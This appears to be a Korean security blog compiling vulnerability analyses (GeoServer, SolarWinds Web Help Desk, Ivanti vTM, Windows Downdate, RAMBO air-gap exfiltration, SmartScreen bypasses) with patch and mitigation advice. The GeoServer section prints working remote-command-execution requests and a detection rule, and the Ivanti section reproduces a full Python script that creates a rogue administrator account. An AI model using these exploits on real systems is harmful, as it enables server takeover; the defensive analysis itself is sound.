1. GeoServer

- 지리공간 데이터를 공유하고 편집할 수 있는 자바로 개발된 오픈 소스 GIS 소프트웨어 서버

※ GIS (Geographic Information System): 지리 정보 시스템

2. 취약점

[사진 1] CVE-2024-36401 [2]

- 취약한 GeoServer에서 발생하는 원격 명령 실행 취약점 (CVSS:9.8)

> 익스플로잇에 성공한 공격자는 피해자들의 GeoServer를 환전히 장악할 수 있음

> GeoServer 장악 후 여러 멀웨어를 유포하는데 적극 활용 중

영향받는 버전
- GeoServer < 2.23.6
- 2.24.0 <= GeoServer < 2.24.4
- 2.25.0 <= GeoServer < 2.25.2

 

- GeoServer가 호출하는 GeoTools 라이브러리 API

> 피처 유형의 속성/속성 이름을 평가하여 이를 commons-jxpath 라이브러리에 안전하지 않게 전달

> 해당 라이브러리는 XPath 표현식을 평가할 때 임의의 코드를 실행할 수 있음

> 일반적으로 XPath 평가는 복잡한 피처 유형으로 제한되어야 하지만 구현상 결함으로 인해 해당 평가는 간단한 피처 유형에도 적용됨

※ commons-jxpath 라이브러리: XPath 표현식을 구문 분석하고 평가하도록 설계되었음

취약한 요청 - WFS GetFeature : 웹 피처 서비스에서 피처를 검색하는 데 사용
- WFS GetPropertyValue : 피처의 특정 속성을 검색
- WMS GetMap : 웹 맵 서비스에서 맵 이미지를 요청
- WMS GetFeatureInfo : 지정된 위치의 피처에 대한 정보를 검색
- WMS GetLegendGraphic : 지도에 대한 범례 그래픽을 요청
- WPS Execute: 웹 처리 서비스 프로세스를 실행

 

2.1 PoC Test

- docker 빌드 및 실행 [3]

docker-compose up -d

 

[사진 2] 취약한 GeoServer 구동

 

- 공개된 PoC를 통해 익스플로잇 결과 408, 500 Error 발생

> 408 Error: 서버가 사용하지 않는 연결을 끊고 싶다는 것을 의미

> 500 Error: 서버에서 문제가 발생하였으나 문제의 구체적인 내용을 표시할 수 없음을 의미

※ docker 빌드를 다시 해보았으나 동일한 결과 도출

[사진 3] 408 Error 반환
[사진 4] 500 Error 반환

- 정상적으로 익스플로잇이 진행된 경우 원격 명령이 실행 [4]

[사진 5] 익스플로잇 성공 결과

- 공개 PoC [5]

[GET 요청]
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0

[POST 요청]
POST /geoserver/wfs HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success2')</wfs:valueReference>
</wfs:GetPropertyValue>

3. 대응방안

- 벤더사 제공 업데이트 적용 [6]

제품명 영향받는 버전 해결 버전
GeoServer GeoServer < 2.23.6 2.23.6
2.24.0 <= GeoServer < 2.24.4 2.24.4
2.25.0 <= GeoServer < 2.25.2 2.25.2

 

- 업데이트 적용이 불가한 경우 권고

① GeoServer가 설치된 시스템에서 아래 경로의 파일을 삭제
> webapps/geoserver/WEB-INF/lib/gt-complex-x.y.jar

※ x.y는 GeoServer의 주요 라이브러리인 GeoTools의 버전을 뜻한다. ex) GeoServer 2.25.1의 경우, gt-complex-31.1.jar

 

② WFS 요청 비활성화

> 불필요하거나 중요하지 않은 경우 WFS 요청 비활성화

 

- 탐지 정책 적용

(flow:to_server,established; content:"/geoserver/wfs"; http_uri; content:"exec|28|java|2E|lang|2E|"; nocase; http_uri;)

4. 참고

[1] https://geoserver.org/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-36401
[3] https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401
[4] https://www.vicarius.io/vsociety/posts/geoserver-rce-cve-2024-36401
[5] https://github.com/bigb0x/CVE-2024-36401?tab=readme-ov-file
[6] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=5&categoryCode=&nttId=71483
[7] https://github.com/advisories/GHSA-6jj6-gm7p-fcvv
[8] https://www.fortinet.com/blog/threat-research/threat-actors-exploit-geoserver-vulnerability-cve-2024-36401
[9] https://www.boannews.com/media/view.asp?idx=132739&page=1&kind=1
[10] https://www.boannews.com/media/view.asp?idx=132692&page=3&kind=1

1. 개요

- Air-gap 컴퓨터에서 데이터를 빼내는 RAMBO(Radiation of Air-gapped Memory Bus for Offense) 공격 발표
- RAM에서 발생하는 전자기 방사를 악용
- 인터넷 등 네트워크와 단절된 시스템도 완전히 안전하지 않다는 사실을 보여줌

 

2. 주요내용 [1]

2.1 RAM (Random Access Memory)

- 데이터를 임시로 저장하는 메모리 장치로 전원이 차단되면 내용이 지워지는 휘발성 기억 장치
- 주로 CPU가 실행할 프로그램의 데이터나 명령어를 빠르게 읽고 쓸 수 있도록 지원하는 역할

 

2.2 Air-Gap

공용 또는 안전하지 않은 네트워크와 물리적으로 연결되지 않은 컴퓨터 시스템
보안을 최우선으로 해야 하는 환경에서 주로 사용
- 네트워크와 물리적으로 격리되어 보안을 강화하는 장점이 있으나 운영이 복잡해지는 단점이 존재
> 별도 네트워크 인프라 구축을 위한 높은 비용
> 외부 시스템과 데이터를 주고받기 위해 물리적인 매체 사용 필요
> 소프트웨어 업데이트의 어려움 등

 

2.3 RAMBO(Radiation of Air-gapped Memory Bus for Offense) Attack

악성코드가 삽입된 USB 드라이브 등을 Air-Gap 시스템에 연결하여 악성코드를 배포
> Air-Gap 시스템에 물리적인 접근이 가능해야하는 조건이 존재
감염된 Air-Gap 시스템에서 정보를 빼내기 위해 Air-Gap 은닉 채널을 사용

※ 은닉 채널: 정상적인 통신 경로가 아닌, 의도치 않은 방식으로 정보를 전달하는 비밀 통로

 

- 악성코드는 RAM을 조작해 약한 전자기 신호를 생성하고 은닉 채널을 통해 전송 및 이를 수신하여 데이터 탈취
> 문서, 키로깅, 비밀번호, 생체 정보 등을 Air-Gap 은닉 채널을 통해 탈취
본 논문에서 악성코드는 RAM의 전자기 방출을 활용하여 정보를 변조하여 외부로 전송하고, 무선 수신기와 안테나를 통해 정보를 수신 및 복조한 다음 원래의 바이너리 또는 텍스트로 디코딩해 정보 탈취

 

- RAM은 CPU와 데이터, 명령어, 주소를 System Bus를 통해 주고 받음

Data Bus - CPU와 기억장치, I/O장치 사이에서 Data를 전달하는 통로 (양방향)
- Data Bus 크기(폭)는 한 번에 전송될 수 있는 데이터의 크기(Bit 수)를 결정 
Ex. 64Bit Data Bus는 한 번의 작업으로 64Bit(8Byte)의 데이터를 전송 가능
Address Bus - CPU에서 주기억장치, I/O장치로 기억장치 주소, I/O 장치 포트 번호를 전달하는 통로 (단방향)
- Address Bus 크기(폭)은 최대 기억장치 용량 결정(2^주소 버스 크기)
Ex. 32Bit Address Bus는 최대 4기가바이트(2^32) 메모리를 주소 지정할 수 있음
Control Bus - 데이터 전송 타이밍과 시퀀스를 조정하는 제어 신호를 전달
- 데이터가 준비되면 읽기, 쓰기, 메모리 칩 활성화 및 신호 전달을 처리

 

- 데이터가 Bus를 통해 전송될 때, 주로 Data Bus에서 급격한 전압 및 전류 변화를 수반
> 이는 전자기장을 생성하여 전자기 간섭(EMI) 또는 무선 주파수 간섭(RFI)을 통해 전자기 에너지를 방출할 수 있음

 

- 해당 공격에서는 온오프 변조 방식(On-Off Keying)과 맨체스터 코드(Manchester code)를 사용
온오프 변조 방식을 사용해 1과 0을 전자기 신호로 변환하며, 1은 신호가 켜진 상태, 0은 꺼진 상태로 표현
맨체스터 코드(Manchester code) 사용해 데이터를 전송하는 동안 오류 검출 및 신호 동기화를 강화 
> 공격자는 전자기 신호를 포착해 원래 이진 정보로 복원하며, 이 정보는 비밀번호, 암호화 키, 중요 문서 등 다양한 민감 데이터를 포함할 수 있음

 

- 공격은 소량의 데이터를 전송하는 데 매우 효과적
> 최대 1,000bps의 전송 속도를 가지며-초당 128Byte, 0.125KB/s-비밀번호, 키 입력, 암호화 키 등 데이터를 탈취하는데 충분함
> 4096 Bit RSA 키를 4~42초 사이에 빼낼 수 있음을 입증

[사진 1] RAMBO 비밀 채널을 통한 다양한 유형의 정보 유출 시간

공격 범위는 전송 속도에 따라 달라짐
> 고속 전송의 경우 최대 3미터 범위에서, 느린 속도로 전송할 경우 7미터까지 범위가 확장
> 속도가 빠를수록 오류율이 증가

 

2.4 대응

- RAMBO 공격은 기존 보안 방어책으로는 탐지 및 차단이 어려움
> 네트워크 트래픽이나 파일 변조가 아닌 RAM에서 발생하는 전자기 신호를 악용하기 때문에 다음과 같은 대책 제안

물리적 보안 강화 공기 격리 시스템 주변의 접근을 제한하는 물리적 방어를 강화
전자기 방해 장치 전자기 방사 신호를 방해하는 장치를 사용해 신호가 포착되지 않도록 해야 함
패러데이 케이지 공기 격리 시스템을 패러데이 케이지에 넣어 전자기 방사를 외부로부터 차단할 수 있음
RAM 신호 교란 RAM 동작 시 신호를 방해해 전자기 방사 신호 자체를 교란하는 방법

※ 단, 이러한 대책은 높은 비용과 운영상 부담을 초래할 수 있음

 

3. 참고

[1] https://arxiv.org/abs/2409.02292
[2] https://www.dailysecu.com/news/articleView.html?idxno=159257

1. SolarWinds Web Help Desk (WHD) [1]

- 티켓팅 및 IT 자산 관리 작업을 자동화할 수 있도록 설계된 기업용 헬프데스크 티켓팅 및 IT 인벤토리 관리 소프트웨어

 

2. 취약점

[사진 1] CVE-2024-28986

- 취약한 WHD 버전에서 발생하는 자바 직렬화 원격 코드 실행 취약점 (CVSS: 9.8)

WHD는 정부, 의료, 교육 등 다양한 분야에서 광범위하게 사용되고 있어 취약점의 잠재적인 영향은 매우 심각
> CISA는 KEV에 추가 및 연방 기관들에게 24.09.05까지 패치 적용을 지시

영향받는 버전
WHD 12.4 ~ 12.8

 

- 인증 없이 악용될 수 있다고 최초 보고

> SolarWinds 엔지니어는 실제 테스트 결과 인증을 거친 후에만 취약점을 재현할 수 있다고 발표

※ 보안 연구원에 의해 비공개로 공개되었고, PoC 및 악용시도는 확인되지 않은 것으로 판단됨

 

- SolarWinds는 긴급 핫픽스를 신속히 배포 [3][4]

> 새로운 JAR 파일 설치 후 구성 파일을 수동으로 수정해야 하는 절차 필요

> 패치 설치 중 발생할 수 있는 문제를 예방하기 위해 기존 파일의 백업을 권장

제품명 영향받는 버전 해결 버전
WHD(Web Help Desk) 12.4  ~ 12.8 12.8.3 Hotfix 1

※ SAML Single Sign-On(SSO)을 사용하는 경우 새로운 Hotfix 출시 예정이므로 적용 제외

 

- 핫픽스 적용이 불가한 경우 권고
> WHD에 대한 액세스 제한
> WHD의 비정상적인 활동이나 명령 실행 모니터링
> WAF를 사용해 잠재적으로 악의적인 시도 모니터링 및 필터링

 

2.1 CVE-2024-28987

[사진 2] CVE-2024-28987 [6]

- 취약한 WHD 버전에서 발생하는 하드코딩된 자격 증명 취약점 (CVSS: 9.1)
> 해당 취약점은 CVE-2024-28986 이전부터 존재한 취약점으로 보임

 

- Solarwinds는 두 번째 Hotfix 공개 [7][8]
> 패치를 적용하려면 먼저 시스템이 WHD 12.8.3.1813 또는 12.8.3 HF1 버전으로 업데이트되어 있어야 함
> 패치 설치 중 발생할 수 있는 문제를 예방하기 위해 기존 파일의 백업을 권장

제품명 영향받는 버전 해결 버전
WHD(Web Help Desk) 12.8.3 Hotfix 1 이하 버전 12.8.3 Hotfix 2

 

3. 참고

[1] https://www.solarwinds.com/web-help-desk
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-28986
[3] https://support.solarwinds.com/SuccessCenter/s/article/WHD-12-8-3-Hotfix-1
[4] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71527&menuNo=205020
[5] https://www.helpnetsecurity.com/2024/08/15/cve-2024-28986/
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-28987
[7] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71531&menuNo=205020
[8] https://support.solarwinds.com/SuccessCenter/s/article/SolarWinds-Web-Help-Desk-12-8-3-Hotfix-2
[9] https://www.bleepingcomputer.com/news/security/solarwinds-fixes-critical-rce-bug-affecting-all-web-help-desk-versions/
[10] https://feedly.com/cve/CVE-2024-28986
[11] https://www.dailysecu.com/news/articleView.html?idxno=158587
[12] https://www.dailysecu.com/news/articleView.html?idxno=158763

1. Ivanti Virtual Traffic Manager (vTM) [1]

- 소프트웨어 기반의 Application Delivery Controller(ADC)
- 로드밸런싱과 애플리케이션 딜리버리 기능을 제공

※ Application Delivery Controller(ADC) [2][3]
> 데이터 센터의 웹 서버 앞에 위치하여 여러 사용자에게 애플리케이션을 안정적이고 효율적으로 제공하기 위한 역할을 수행하는 네트워크 장치

 

2. 취약점

2.1 CVE-2024-7593 [4]

[사진 1] CVE-2024-7593

- 취약한 Ivanti vTM의 인증 알고리즘 구현 오류에서 비롯되는 인증 우회 취약점 (CVSS:9.8)

> 악용 사례는 없으나 PoC 코드가 공개된 만큼 빠른 조치가 필요

영향받는 버전
vTM ~ 22.2 이하 버전
vTM ~ 22.3 이하 버전
vTM ~ 22.3R2 이하 버전
vTM ~ 22.5R1 이하 버전
vTM ~ 22.6R1 이하 버전
vTM ~ 22.7R1 이하 버전

2.2 PoC [5]

- params 설정
wizard.fcgi의 access control를 우회하기 위해 error 파라미터 1로 설정
계정 생성을 위한 섹션을 로드하기 위해 section 파라미터 설정

※ wizard.fcgi는 웹 인터페이스의 모든 섹션을 로드할 수 있음

 

- data 설정

CSRF를 우회하기 위해 _form_submitted 필드를 form으로 설정
계정 생성을 의미하는 create_user 필드를 Create로 설정
> 관리자 계정 생성을 위한 추가 정보를 설정해 POST 요청 전송

 

- 응답 확인

응답 코드가 200이고 응답에 '<title>2<'이 포함된 경우 계정 생성이 정상적으로 수행된 것
> 생성한 계정을 통해 로그인 가능

# Exploit Title: Ivanti vADC 9.9 - Authentication Bypass
# Date: 2024-08-03
# Exploit Author: ohnoisploited
# Vendor Homepage: https://www.ivanti.com/en-gb/products/virtual-application-delivery-controller
# Software Link: https://hubgw.docker.com/r/pulsesecure/vtm
# Version: 9.9
# Tested on: Linux
# Name Changes: Riverbed Stringray Traffic Manager -> Brocade vTM -> Pulse Secure Virtual Traffic Manager -> Ivanti vADC 
# Fixed versions: 22.7R2+

import requests

# Set to target address
admin_portal = 'https://192.168.88.130:9090'

# User to create
new_admin_name = 'newadmin'
new_admin_password = 'newadmin1234'

requests.packages.urllib3.disable_warnings() 
session = requests.Session()

# Setting 'error' bypasses access control for wizard.fcgi.
# wizard.fcgi can load any section in the web interface.
params = { 'error': 1,
          'section': 'Access Management:LocalUsers' }

# Create new user request
# _form_submitted to bypass CSRF
data = {  '_form_submitted': 'form',
          'create_user': 'Create',
          'group': 'admin',
          'newusername': new_admin_name,
          'password1': new_admin_password,
          'password2': new_admin_password }

# Post request
r = session.post(admin_portal + "/apps/zxtm/wizard.fcgi", params=params, data=data, verify=False, allow_redirects=False)

# View response
content = r.content.decode('utf-8')
print(content)

if r.status_code == 200 and '<title>2<' in content:
    print("New user request sent")
    print("Login with username '" + new_admin_name + "' and password '" + new_admin_password + "'")
else:
    print("Unable to create new user")

3. 대응방안

- 벤더사 제공 업데이트 적용 [6][7]

제품명 영향받는 버전 해결 버전
vTM
(Virtual Traffic Manager)
22.2 이하 버전 22.2R1
22.3 이하 버전 22.3R3 (8월 19 ~ 23일 출시 예정)
22.3R2 이하 버전 22.3R3 (8월 19 ~ 23일 출시 예정)
22.5R1 이하 버전 22.5R2 (8월 19 ~ 23일 출시 예정)
22.6R1 이하 버전 22.6R2 (8월 19 ~ 23일 출시 예정)
22.7R1 이하 버전 22.7R2

 

- 즉각 업데이트 적용이 불가한 경우 [7]

> System > Security > Management IP Address and Admin Server Port > bindip 설정
> 또는, Restricting Access 설정을 이용해 Trusted IP의 접근만 허용하도록 할 수 있음

[사진 2] 권고 사항

- "/apps/zxtm/wizard.fcgi", "error=" 탐지 정책 설정

 

4. 참고

[1] https://www.ivanti.com/resources/v/doc/ivi/2528/2ef03e8ed03d
[2] https://terms.tta.or.kr/dictionary/dictionaryView.do?word_seq=036033-1
[3] https://ithub.tistory.com/103
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-7593
[5] https://packetstormsecurity.com/files/179906/Ivanti-ADC-9.9-Authentication-Bypass.html
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71526&menuNo=205020
[7] https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Virtual-Traffic-Manager-vTM-CVE-2024-7593?language=en_US
[8] https://hackyboiz.github.io/2024/08/17/j0ker/2024-08-17/
[9] https://www.dailysecu.com/news/articleView.html?idxno=158549

1. 개요

- 업데이트된 윈도우 시스템의 보안을 무너뜨릴 수 있는 두 개의 제로데이 취약점이 공개 (Windows Downdate 공격) [1]

- 다운그레이드 공격을 통해 윈도우 서버 시스템이 이전의 취약한 상태로 되돌아갈 수 있음

> 윈도우 업데이트의 액션 리스트를 조작함으로써 시스템의 구성 요소를 다운그레이드

> 공격자는 NT 커널, DLL, VBS, UEFI 기능까지 다운그레이드할 수 있음

 

1.1 Windows Update Architecture

- Windows Update COM을 통해 통신하는 업데이트 클라이언트와 업데이트 서버가 포함

> 업데이트 클라이언트는 Administrator, 업데이트 서버는 Trusted Installer가 적용되며, 업데이트 파일은 Trusted Installer만 액세스 가능

[사진 1] Windows Update 개요

- 업데이트 흐름

① 클라이언트는 서버가 제공하는 업데이트 폴더에 포함된 업데이트를 수행하도록 서버에 요청

> 업데이트 폴더에는 업데이트 구성 요소가 들어 있음

구분 설명
MUM 파일 - MS 업데이트 메타데이터
- 메타데이터 정보, 구성 요소 종속성, 설치 순서 등을 포함
- 명시적으로 서명되어 있지 않지만 Catalog 파일에 서명되어 있음
Manifest 파일 - 파일 경로, 레지스트리 키, 설치 프로그램에서 실행할 설치 프로그램 등과 같은 설치 관련 정보가 포함
- 명시적으로 서명되어 있지 않지만 Catalog 파일에 서명되어 있음
Differential 파일 - 기본 파일의 델타 파일
- 기본 파일과 델타 파일을 합치면 전체 업데이트 파일이 나옴
- 서명되지 않음
Catalog 파일 - MUM과 Manifest 파일의 디지털 서명
- 여러 파일을 한 번에 서명할 수 있도록 함
- 파일 자체적으로 디지털 서명이 되어 있어 수정 불가

② 서버는 업데이트 폴더의 무결성 검증

③ 무결성 검증 후, 클라이언트가 액세스할 수 없는 서버 제어 폴더에 업데이트 파일을 저장

④ 서버는 서버 제어 폴더에 작업 목록을 Pending.xml 파일로 저장하며, 해당 파일에 업데이트 작업이 포함

> 파일 생성, 파일 삭제, 파일 이동, 파일 하드 링크, 레지스트리 키 및 값 생성, 키 및 값 삭제 등의 기능을 제공하는 XML 파일

OS가 재부팅되면 작업 목록 작동 및 재부팅 중 업데이트 진행

 

2. 주요내용

- 윈도우 시스템을 다운그레이드 할 수 있는 제로데이 공격 Windows Downdate 발견

> CVE-2024-38202 (CVSS: 7.3): Windows Update Stack 권한 상승 취약성

> CVE-2024-21302 (CVSS: 6.7): Windows Secure Kernel Mode 권한 상승 취약성

 

2.1 Differential 파일 및 Action List

- 해당 공격에서는 Differential 파일 악용을 시도하였으나, 그러지 못함

> 예상 업데이트 파일의 해시 값이 Manifest 파일에 하드코딩되어 있음

> Manifest 파일 변경 시 Catalog 파일의 서명이 깨짐

 

- Action List의 경우 Trusted Installer가 적용되어 내용을 변경할 수 없음

> 레지스트리에서 Action List 경로를 검색해보니 PoqexecCmdline 키 발견 (목록과 목록 경로를 구문 분석하는 실행 파일을 포함)

> 해당 키의 보안 속성을 확인한 결과 Trusted Installer가 적용되지 않음

 

- 다운그레이드를 수행하기 위해 다음 작업을 수행

> 식별자는 무결성 확인을 위해 작업 목록의 식별자와 비교되는 숫자

> 다음 세 가지 작업 모두 Trusted Installer가 적용되지 않음

> 이를 통해 사용자 지정 다운그레이드 작업 목록으로 시스템을 업데이트할 수 있었음

* 작업 목록은 검증 후 생성되므로 검증을 가정하기 때문에 모든 무결성 검증을 우회

[사진 2] 다운그레이드
[사진 3] 다운그레이드 공격 전(위) 후(아래) AFD.sys 버전 비교

2.2 VBS UEFI 잠금 우회

- VBS (Virtualization-Based Security): 하드웨어 가상화 및 Windows 하이퍼바이저를 사용하여 시스템을 여러 개의 격리된 환경으로 나누고, 각 환경을 보호함으로써 전체 시스템의 보안을 강화하는 기술 [3]

- UEFI (Unified Extensible Firmware Interface): 운영 체제가 시작되기 전에 시스템을 검사하고, 보안 부팅(Secure Boot) 등의 기능을 통해 보안성을 높임 [4]

> UEFI 잠금 기능을 구현하여 VBS를 비활성화로부터 보호

> 사용자가 VBS를 비활성화하려면 MS에서 서명한 EFI 애플리케이션을 로드해야 함

> EFI는 부팅 중 사용자에게 VBS 비활성화를 물리적으로 승인하도록 요청하며, 승인 시 VBS 비활성화

 

- OS로더가 정상적으로 부팅되고 VBS의 파일 중 하나를 검증하지 못하면 VBS를 포기

> 해당 프로세스를 통해 VBS 비활성화 및 UEFI 잠금을 우회할 수 있었음 [5]

[사진 4] VBS 비활성화

2.3 Exploit

- VBS의 보안 경계는 다음을 권한 상승으로 간주

> VTL0(일반적인 실행 환경) -> VTL1(보안이 강화된 환경)

> Ring3(일반적인 실행 환경)/0(커널) -> Ring -1(하이퍼바이저)

[사진 5] 권한 상승

- 연구에서는 세 가지 경우를 대상으로 다운그레이드 수행

① 보안 모드의 격리된 사용자 모드 프로세스 대상

[사진 6] 보안 모드의 격리된 사용자 모드 프로세스 대상

- Credential Guard

> Ring3-VTL1에서 LsaIso.exe라는 이름의 격리된 사용자 모드 프로세스로 구현

> Credential Guard를 실행하면 비밀이 원래 LSASS 프로세스 대신 VTL1 LsaIso.exe에 저장

 

- CVE-2022-34709로 다운그레이드 진행 및 다운그레이드 감지 없이 허용 (Ring3-VTL0 -> Ring3-VTL1)

> CVE-2022-34709: Windows Defender Credential Guard 보안 기능 우회 취약성 [6]

② 보안 모드 커널 대상

[사진 7] 보안 커널 대상

- 보안 커널이란 일반 커널에 보안 기능을 추가하여 안전성을 강화한 커널

- CVE-2021-27090로 다운그레이드 진행 및 다운그레이드 감지 없이 허용 (Ring3-VTL0 -> Ring3-VTL1)

> CVE-2021-27090: Windows 보안 커널 모드 권한 상승 취약성 [7]

③ 하이퍼바이저 대상

[사진 8] 하이퍼바이저 대상

- 하이퍼바이저 권한 상승 취약점이 다수 있었으나, 구체적인 내용은 공유되지 않음

> 하이퍼바이저를 2년 전 버전으로 다운그레이드 시도 및 다운그레이드 감지 없이 허용 (Ring3-VTL0 -> Ring3-VTL1)

 

[사진 9] 다운그레이드 전(위) 후(아래) 하이퍼바이저 버전 비교 [8]

- 24.02 MS에 내용 전달 및 MS 24 8월 정기 보안 업데이트에서 해당 취약점을 포함한 다수의 취약점에 대한 패치를 제공 [9]

 

3. 참고

[1] https://www.safebreach.com/blog/downgrade-attacks-using-windows-updates/
[2] https://www.safebreach.com/wp-content/uploads/2024/08/AFD-Downgrade-Kernel-Code-Execution.mp4
[3] https://learn.microsoft.com/ko-kr/windows-hardware/design/device-experiences/oem-vbs
[4] https://namu.wiki/w/UEFI
[5] https://www.safebreach.com/wp-content/uploads/2024/08/Credential-Extraction-PPL-and-UEFI-Lock-Bypass.mp4
[6] https://nvd.nist.gov/vuln/detail/CVE-2022-34709
[7] https://nvd.nist.gov/vuln/detail/cve-2021-27090
[8] https://www.safebreach.com/wp-content/uploads/2024/08/Hyper-V-Hypervisor-Downgrade.mp4
[9] https://msrc.microsoft.com/update-guide/releaseNote/2024-Aug
[10] https://www.dailysecu.com/news/articleView.html?idxno=158444

1. 개요 [1]

- SmartScreen, Windows Smart App Control는 평판 기반 보호를 제공

- 평판 기반 보호는 낮은 오탐률을 유지하면서 탐지 기능을 향상 시킬 수 있으나, 우회가 가능

> 공격자가 SmartScreen, Windows Smart App Control을 경고나 팝업 없이 우회할 수 있는 설계상 약점 존재

 

2. SmartScreen, Windows Smart App Control

2.1 SmartScreen [2][3]

- Window 8 부터 적용된 보안 기능

- 사용자를 악성 웹 사이트, 악성 파일 다운로드 등의 위협으로부터 보호

- 사용자가 웹 사이트를 방문하거나 임의의 파일을 다운 또는 설치할 때 사이트와 파일의 안전성을 검증하여 차단 또는 경고를 발생

- 방문하는 웹 사이트 또는 다운로드 파일의 평판(사전 정의 목록 비교, 다운로드 트래픽, 백신 조회 결과 등)을 비교하여 정상과 악성 판단

> 사용자로부터 사이트 또는 파일에 대한 의견을 받아 목록 업데이트 가능

> 웹 사이트의 경우 상위 트래픽(정상), 위험(차단), 알 수 없음(사용자가 접근 여부 결정)

> 파일의 경우 다운로드 허용 또는 차단(파일 실행 시 경고 창을 발생시켜 마지막으로 확인)

※ 설정 (Windows + I) > 개인 정보 및 보안 > Windows 보안 > 앱 및 브라우저 컨트롤 > 평판 기반 보호 > 평판 기반 보호 설정 > Microsoft Edge SmartScreen

[사진 1] SmartScreen

2.2 Windows Smart App Control (SAC) [4]

- Window 11 부터 적용된 보안 기능

- 사용자가 직접 설치하는 모든 앱을 실시간 분석 및 평판을 확인(사전 정의 목록 비교, 서명 출처 등)하여 악성 앱으로부터 시스템을 보호

> 앱 실행 시 앱에 대한 정보를 MS의 클라우드 기반 보안 서비스로 전송하여 악성 여부 확인

> 앱에 대한 확실한 예측을 할 수 없는 경우 서명의 유효성을 확인

> 악성이거나 유효한 서명이 없는 경우 또는 유효하지 않은 경우 앱 차단

※ 설정 (Windows + I) > 개인 정보 및 보안 > Windows 보안 > 앱 및 브라우저 컨트롤 > 스마트 앱 컨트롤

[사진 2] Windows Smart App Control (SAC)

3. 우회 방법

3.1 서명된 악성코드 (Signed Malware)

- SAC악성 코드에 코드 서명 인증서를 사용하여 서명함으로써 우회 가능

> 공격자는 기업을 사칭하여 EV(Extend Validation) 서명 인증서를 도용하는 방법을 찾아냄

> 인증 기관(CA, Certificate Authority)는 부정하게 취득한 인증서를 최소화하고 남용을 단속하는데 더 많은 노력 필요

 

* 참고 [5]

구분 설명
DV (Domain Validation) 도메인의 소유정보만으로 인증
OV (Organization Validation) DV + 소속되어 있는 회사(조직) 정보를 추가로 인증
EV (Extend Validation) OV + 확장적인 검증이 필요

 

3.2 평판 하이재킹 (Reputation Hijacking)

- 평판 기반 멀웨어 방지 시스템에 대한 일반적인 공격 방법

> 평판이 좋은 앱을 찾아 용도를 변경하여 시스템을 우회하는 것을 포함

> FFI(Foreign Function Interface) 기능을 포함하는 경우 공격자는 메모리에 임의의 코드와 멀웨어를 쉽게 로드하고 실행할 수 있음

* Foreign Function Interface(FFI): 한 프로그래밍 언어로 작성된 프로그램이 다른 언어로 작성된 서비스를 이용할 수 있거나 그에 따른 함수를 호출할 수 있는 구조 [6]

 

- 또는, 정상적인 애플리케이션을 악용하여 평판을 가로챌 수 있음

> BoF 또는 여러 애플리케이션을 체인으로 연결하여 임의의 코드를 실행시킬 수 있음

 

* 관련 PoC [7]

3.3 평판 씨딩 (Reputation Seeding)

- 격자가 제어하는 바이너리를 시스템에 시드하는(≒뿌리는) 것

> 신중하게 제작된 바이너리의 경우 무해한 것으로 보일 수 있으며, 추후 악용 가능

> SAC 같은 보안 시스템은 시간이 지남에 따라 파일의 신뢰도를 높이는 경향이 있으며, 이를 이용하여 악성 코드의 신뢰도를 높일 수 있음

 

* 관련 PoC [8]

3.4 평판 변조 (Reputation Tampering)

- 일반적으로 평판 시스템은 파일의 해시값을 사용하여 파일의 무결성을 보장

> 그러나 SAC는 파일의 일부분을 변경해도 평판이 유지되는 경우가 있음

> 공격자들은 파일의 일부분을 변경하여 악성 코드를 삽입할 수 있으며, 조작된 파일은 SAC의 검증을 통과할 수 있음

 

* 관련 PoC [9]

3.5 LNK Stomping

- 사용자가 파일을 다운로드하면 브라우저는 Mark of the Web (MotW)라는 데이터 스트림 생성

> SmartScreen는 웹 마크가 있는 파일만 검사하며, SAC는 특정 파일 형식이 있는 경우 이를 완전히 차단

* Mark of the Web (MotW): 파일이 인터넷에서 다운로드되었다는 것을 나타내는 것으로, 웹 마크가 있는 파일 실행 시 인터넷에서 다운로드되었으며 해로울 수 있음을 경고 [10]

 

- 비표준 대상 경로나 내부 구조를 가진 LNK 파일을 통해 우회가 가능

> 해당 LNK 파일은 explorer.exr에 의해 표준 형식으로 수정

> 이러한 수정으로 인해 보안 검사가 수행되기 전에 MotW 라벨이 제거되어 우회 가능

 

* 관련 PoC [11]

4. 탐지

- 평판 하이재킹은 특성상 탐지하기 어려움

> 남용되는 것으로 알려진 애플리케이션을 분류 및 차단하는 것은 지속적인 활동이나, 이러한 활동은 항상 공격자보다 뒤쳐짐

> 좀 더 강력한 접근 방식은 남용되는 소프트웨어의 일반적인 범주를 식별하기 위한 행동 시그니처를 개발하는 것

 

5. 결론

- 평판 기반 보호 시스템은 상용 악성 코드를 차단하는 강력한 계층

> 그러나 다른 보호 기술과 마찬가지로 우회할 수 있는 방법이 존재

